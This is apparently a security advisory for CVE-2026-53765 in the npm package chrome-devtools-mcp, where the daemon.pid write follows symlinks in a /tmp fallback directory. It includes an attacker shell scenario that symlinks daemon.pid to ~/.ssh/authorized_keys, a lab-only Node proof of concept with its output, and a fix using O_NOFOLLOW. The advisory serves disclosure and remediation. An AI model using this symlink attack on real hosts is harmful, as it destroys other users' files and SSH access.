중간취약점
Chrome DevTools for agents: daemon.pid write follows symlinks in /tmp fallback runtime directory
GHSA-3pvj-jv98-qhjq · CVE-2026-53765 · 갱신 2026. 7. 21.
영향 받는 패키지
| 생태계 | 패키지 | 수정 버전 |
|---|---|---|
| npm | chrome-devtools-mcp | 1.1.0 |
GHSA-3pvj-jv98-qhjq · CVE-2026-53765 · 갱신 2026. 7. 21.
| 생태계 | 패키지 | 수정 버전 |
|---|---|---|
| npm | chrome-devtools-mcp | 1.1.0 |
/tmp/tmp/chrome-devtools-mcp-<victim_uid>/daemon.pidPreconditions:
$XDG_RUNTIME_DIR is unset, or on a Linux system/session where $XDG_RUNTIME_DIR is unset.chrome-devtools CLI path or MCP integration that starts daemon mode.Realistic POSIX scenario:
# Attacker, before victim starts daemon mode.
victim_uid=1000
mkdir -p "/tmp/chrome-devtools-mcp-${victim_uid}"
chmod 0755 "/tmp/chrome-devtools-mcp-${victim_uid}"
ln -s "/home/victim/.ssh/authorized_keys" \
"/tmp/chrome-devtools-mcp-${victim_uid}/daemon.pid"
# Victim later starts daemon mode.
chrome-devtools start
# Result:
# fs.writeFileSync follows the symlink, so authorized_keys is truncated to
# the daemon PID string.
Lab-only PoC that touches only a fresh os.tmpdir()/cdtmcp-lab-* directory:
const fs = require('node:fs');
const os = require('node:os');
const path = require('node:path');
const lab = fs.mkdtempSync(path.join(os.tmpdir(), 'cdtmcp-lab-'));
try {
fs.chmodSync(lab, 0o755);
const victimSecret = path.join(lab, 'victim-secret.txt');
fs.writeFileSync(
victimSecret,
'IMPORTANT VICTIM CONTENT - MUST NOT BE TRUNCATED\n',
);
const runtimeDir = path.join(lab, 'attacker-pre-created');
fs.mkdirSync(runtimeDir, {recursive: true});
const pidFilePath = path.join(runtimeDir, 'daemon.pid');
fs.symlinkSync(victimSecret, pidFilePath);
// Exact pattern from src/daemon/daemon.ts:39-42.
fs.mkdirSync(path.dirname(pidFilePath), {recursive: true});
fs.writeFileSync(pidFilePath, process.pid.toString());
console.log(fs.readFileSync(victimSecret, 'utf8'));
// -> "<pid>" (victim file was truncated/overwritten)
} finally {
fs.rmSync(lab, {recursive: true, force: true});
}
Observed output from the lab PoC:
[setup] victim secret BEFORE attack:
IMPORTANT VICTIM CONTENT - MUST NOT BE TRUNCATED
[attack] symlink placed: <runtimeDir>/daemon.pid -> <victimSecret>
[victim ran daemon] victim secret AFTER:
<pid>
[lstat pidFile] still symlink
[outcome] victim file was overwritten via attacker-placed symlink.
I can provide the standalone pidfile_symlink_poc.cjs file if needed. The attached/local version includes platform notes, Windows symlink-permission diagnostics, and cleanup guards.
Who can exploit:
Any local user account on the same POSIX host where the victim runs the chrome-devtools-mcp daemon, when $XDG_RUNTIME_DIR is unset for that user session.
Security impact:
Example targets affected by truncation:
~/.ssh/authorized_keys, causing the victim to lose SSH access.~/.bashrc, ~/.zshrc, or ~/.profile, breaking shell startup..env, secrets.json, license files, or line-oriented config files.Suggested fix:
Open the PID file with O_NOFOLLOW and validate runtime directory ownership/permissions before writing:
import {constants, openSync, writeSync, closeSync} from 'node:fs';
const fd = openSync(
pidFilePath,
constants.O_WRONLY |
constants.O_CREAT |
constants.O_TRUNC |
constants.O_NOFOLLOW,
0o600,
);
writeSync(fd, process.pid.toString());
closeSync(fd);